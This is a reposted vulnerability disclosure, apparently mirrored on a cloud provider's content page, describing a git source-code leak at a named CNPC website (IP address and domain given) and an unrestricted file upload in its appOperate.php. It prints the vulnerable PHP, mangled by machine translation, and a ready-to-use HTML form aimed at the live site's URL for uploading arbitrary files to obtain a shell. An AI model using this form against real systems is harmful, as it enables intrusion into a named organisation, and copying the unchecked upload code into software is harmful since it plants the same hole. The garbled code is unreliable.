Reconstruction of the source code of a station of CNPC to GetShell

Source: Internet
Author: User

Reconstruction of the source code of a station of CNPC to GetShell

Reconstruction of the source code of a station of CNPC to getshell

1.85.51.141 git source code Leakage

Corresponding Domain Name

Http://mtp.cnpc.com.cn
 


 


 

 

Audit code

/Resources/data/appstore/appOperate. php

Start with line 31
 

If ($ act = 'uploadfile') {if (! Is_dir (".. /.. /files/appfiles ") {// If the folder mkdir (".. /.. /files/appfiles ", 0777); // create a folder chmod (".. /.. /files/appfiles ", 0777); // change file mode} // upload the app file appFileName $ appname = $ _ FILES ['appfilename'] ['name']; $ mktime = time (); // create a folder $ mkfile = '.. /.. /files/appfiles /'. $ mktime. '/'; mkdir ($ mkfile, 0777); // $ optionDir = '/mdm/www/resources/files/appfiles /'. $ mktime; // exec ('chmod 0777 '. $ optionDir); $ rand = $ mktime. substr ($ appname, strrpos ($ appname ,". "); $ destination = $ mkfile. $ rand; $ _ SESSION ['filepath'] = $ mktime; $ _ SESSION ['filename'] = $ rand; if (move_uploaded_file ($ _ FILES ['appfilename'] ['tmp _ name'], $ destination) {$ arr = array ('success' => true, 'filename' => $ rand, 'localname' => $ appname);} else {$ arr = array ('success' => false, 'reason '=> $ destination);} echo json_encode ($ arr );



Arbitrary File Upload

Form
 

<form method="post" action="http://mtp.cnpc.com.cn/resources/data/appstore/appOperate.php" enctype="multipart/form-data">  <input name="appFileName" type="file" />  <input name="action" type="text" value="uploadFile"/>  <input name="submit" type="submit" /></form>


 

 

Solution:

Delete git

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.